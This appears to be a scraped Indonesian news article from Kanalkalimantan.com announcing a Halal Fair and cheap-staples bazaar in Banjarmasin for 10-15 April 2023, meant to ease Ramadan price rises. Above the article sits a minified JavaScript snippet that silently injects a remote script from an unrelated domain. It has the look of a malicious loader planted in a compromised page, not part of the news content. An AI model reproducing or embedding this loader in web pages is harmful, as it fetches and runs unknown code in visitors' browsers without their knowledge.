(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ada Halal Fair dan Bazar Sembako di Banjarmasin, Catat Tanggalnya!

KANALKALIMANTAN.COM, BANJARMASIN – Setelah Pasar Wadai, kini Festival Nasional Halal Fair dan Pasar Raya akan digelar di Jalan Sudirman Banjarmasin, tepatnya di halaman eks kantor Gubernur Kalsel atau kawasan Siring 0 Km Banjarmasin.

Selama lima hari mulai dari 10-15 April 2023, di Halal Fair nanti ada 41 UMKM membuka stan bersama dengan stan takjil di Pasar Wadai Banjarmasin.

Mereka akan memamerkan produk UMKM seperti fashion, kerajinan, hingga makan dan minuman. Sementara Pasar Raya akan diisi dengan bazar sembako murah untuk masyarakat.

Persiapan tengah dilakukan, salah satunya oleh Dinas Koperasi dan UKM Provinsi Kalimantan Selatan bersama Kantor Perwakilan Bank Indonesia (KPw BI) Kalsel sebagai penyelenggara.

“Ada 41 UMKM dengan label halal dan punya layanan pembayaran digital QRIS, sudah kita data untuk dilibatkan dalam kegiatan Halal Fair ini,” kata Kepala Dinas Koperasi dan UKM Kalsel Gusti Yanuar Noor Rifai, Selasa (4/4/2023).

Pihaknya telah melakukan rapat koordinasi dan meninjau lokasi kegiatan Nasional Halal Fair yang berada di sekitar Pasar Wadai tersebut.

Alhasil event yang diinisiasi oleh Pemerintah Provinsi Kalimantan Selatan (Kalsel) sebagai langkah meredam kenaikan harga pokok yang melambung selama Ramadhan hingga menjelang Idul Fitri.

Sementara itu, Deputi Kepala KPw BI Kalsel, Bimo Epyanto menjelaskan, event ini juga didukung oleh pemerintah pusat sebagai wadah integrasi berbagai kegiatan di sektor ekonomi dan keuangan syariah. Salah satunya untuk pengendalian inflasi dengan memenuhi kebutuhan masyarakat.

Nasional Halal Fair dan Pasar Raya akan berlangsung di Jalan Jendral Sudirman Banjarmasin atau di halaman eks kantor Gubernur Kalsel, 10-15 April 2023. Foto: ist

“Ada dua sebenarnya yang ingin dicapai, pertama untuk menyediakan barang kebutuhan pokok dengan harga yang terjangkau lalu kemudian juga untuk memasyarakatkan pola hidup yang sesuai dengan ajaran syariat, tentunya dengan nilai-nilai halal,” sebut Deputi Kepala KPw BI Kalsel Bimo Epyanto.

Bulan Ramadhan identik dengan sebutan hari keagamaan yang kerap dibarengi dengan fenomena kenaikan harga, terutama pada kebutuhan pokok.

Bimo juga berharap dari ketiga kegiatan ini menjadi upaya langkah pengendalian inflasi yang juga dilakukan oleh Tim Pengendali Inflasi Daerah (TPID) Kalsel. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie